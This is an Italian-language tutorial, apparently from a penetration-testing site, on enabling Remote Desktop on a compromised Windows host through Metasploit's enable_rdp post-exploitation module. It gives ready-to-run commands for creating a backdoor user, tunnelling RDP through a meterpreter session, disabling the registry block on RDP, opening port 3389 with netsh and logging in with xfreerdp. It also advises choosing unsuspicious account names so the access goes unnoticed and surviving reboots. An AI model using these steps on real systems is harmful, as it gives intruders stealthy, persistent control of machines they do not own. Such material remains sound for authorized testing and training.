Tutorials

Guida all'Abilitazione di RDP su Windows tramite Metasploit

Questa guida ha l'obiettivo di illustrare come abilitare il protocollo RDP Remote Desktop Protocol su una macchina Windows compromessa utilizzando Metasploit, rendendo possibile l'accesso remoto trami

#exploitation#windows#metasploit

Guida all'Abilitazione di RDP su Windows tramite Metasploit

Obiettivo

Questa guida ha l'obiettivo di illustrare come abilitare il protocollo RDP (Remote Desktop Protocol) su una macchina Windows compromessa utilizzando Metasploit, rendendo possibile l'accesso remoto tramite desktop grafico. Verranno incluse anche tecniche per la gestione del firewall e la creazione di utenti per l'autenticazione, oltre a un approfondimento sul port forwarding.


Modulo Metasploit: post/windows/manage/enable_rdp

Funzionalità principali del modulo:

  • Abilita RDP sulla macchina target.
  • Crea un nuovo utente con username e password specificati per l'accesso RDP.
  • Apre automaticamente la porta 3389 sul firewall di Windows se è chiusa.
  • Supporta l'opzione FORWARD per il port forwarding.

Parametri principali:

OpzioneDescrizione
USERNAMENome utente da creare per l'accesso via RDP.
PASSWORDPassword da associare all'utente creato.
FORWARDAbilita il port forwarding per l'accesso remoto diretto.

Dettaglio: Port Forwarding (FORWARD)

L'opzione FORWARD permette di stabilire una comunicazione diretta tra l'attaccante e la porta 3389 del target attraverso un tunnel reverse, utile in situazioni dove il servizio RDP non è direttamente accessibile (ad esempio per restrizioni di NAT o firewall).

Metasploit può utilizzare una sessione meterpreter attiva per "forwardare" il traffico dalla macchina dell'attaccante alla porta del target:

Esempio:

bash
use post/windows/manage/enable_rdp
set SESSION <id>
set USERNAME adminuser
set PASSWORD SuperS3cret
set FORWARD true
run

Dopo l'esecuzione del modulo, il traffico RDP viene instradato tramite la sessione compromessa.


Verifica della Porta 3389

Se durante una scansione Nmap non risulta aperta la porta 3389, ma il modulo mostra che RDP è abilitato, è possibile che:

  • La porta sia chiusa nel firewall di Windows.
  • Il servizio sia attivo ma accessibile solo localmente.

Il modulo enable_rdp si occupa anche di modificare le regole del firewall locale per consentire l'accesso remoto.

Comando Nmap:

bash
nmap -p 3389 -sV <IP_target>

Connessione via RDP

Una volta completata la configurazione, è possibile collegarsi tramite RDP utilizzando xfreerdp:

Comando:

bash
xfreerdp /u:<USERNAME> /p:<PASSWORD> /v:<IP_target>

Esempio:

bash
xfreerdp /u:adminuser /p:SuperS3cret /v:192.168.1.100

Best Practice

  • Utilizza nomi utenti non sospetti (es. svc_support, rdp_admin).
  • Configura il servizio in modo che sopravviva a reboot.
  • Verifica l'effettiva apertura della porta con netstat -an da shell meterpreter.

Tecniche Alternative

  • Modifica del registro di sistema per abilitare RDP:
bash
reg setval -k 'HKLM\System\CurrentControlSet\Control\Terminal Server' -v fDenyTSConnections -t REG_DWORD -d 0
  • Apertura manuale della porta 3389:
bash
netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=TCP localport=3389

Conclusioni

Utilizzare il modulo enable_rdp è una tecnica efficace di post-exploitation per ottenere accesso persistente e interattivo su sistemi Windows compromessi. La possibilità di creare utenti ad hoc e gestire automaticamente le policy del firewall lo rende estremamente utile in scenari reali.